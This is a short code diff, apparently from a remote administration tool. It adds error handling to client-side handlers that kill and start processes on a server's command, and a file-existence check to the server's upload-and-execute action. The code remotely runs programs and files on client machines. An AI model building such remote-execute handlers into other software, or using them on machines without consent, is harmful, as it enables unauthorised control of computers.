diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 2da30a86..cb76c55b 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -312,18 +312,29 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command, Process.GetProcessById(command.PID).Kill(); } catch + { } + finally { + HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); } - - HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); } public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client) { - ProcessStartInfo startInfo = new ProcessStartInfo {UseShellExecute = true, FileName = command.Processname}; - Process.Start(startInfo); - - HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); + if (!string.IsNullOrEmpty(command.Processname)) + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname }; + Process.Start(startInfo); + } + catch + { } + finally + { + HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); + } + } } public static void HandleDrives(Packets.ServerPackets.Drives command, Client client) diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 9a0808c1..093d319c 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -530,7 +530,7 @@ private void ctxtLocalFile_Click(object sender, EventArgs e) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { - if (frm.ShowDialog() == DialogResult.OK) + if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) { new Thread(() => {